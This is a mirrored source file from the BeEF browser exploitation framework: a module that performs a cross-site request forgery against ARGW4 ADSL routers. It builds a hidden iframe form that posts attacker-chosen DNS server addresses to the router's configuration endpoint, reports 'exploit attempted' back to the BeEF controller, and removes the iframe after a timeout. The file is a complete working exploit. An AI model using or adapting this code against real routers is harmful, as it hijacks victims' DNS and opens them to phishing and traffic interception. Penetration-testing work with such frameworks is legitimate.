Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/argw4_adsl_dns_hijack/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// config
10
var target = 'http://<%= @rhost %>/form2Dns.cgi';
11
var dns1 = '<%= @dns1 %>';
12
var dns2 = '<%= @dns2 %>';
13
var timeout = 15;
14
15
// validate DNS server IP addresses
16
if (!beef.net.is_valid_ip(dns1)) {
17
beef.debug('Invalid Primary DNS server IP address was provided');
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
19
return;
20
}
21
if (!beef.net.is_valid_ip(dns2)) {
22
beef.debug('Invalid Secondary DNS server IP address was provided');
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
24
return;
25
}
26
27
// change DNS
28
var argw4_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [
29
{'type':'hidden', 'name':'dnsMode', 'value': '1'},
30
{'type':'hidden', 'name':'dns1', 'value': dns1},
31
{'type':'hidden', 'name':'dns2', 'value': dns2},
32
{'type':'hidden', 'name':'dns3', 'value': ''},
33
{'type':'hidden', 'name':'submit.htm?dns.htm', 'value': 'Send'},
34
{'type':'hidden', 'name':'save', 'value': 'Apply Changes'}
35
]);
36
37
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
38
39
// clean up
40
cleanup = function() {
41
document.body.removeChild(argw4_adsl_iframe_<%= @command_id %>);
42
}
43
setTimeout("cleanup()", timeout*1000);
44
45
});
46
47
48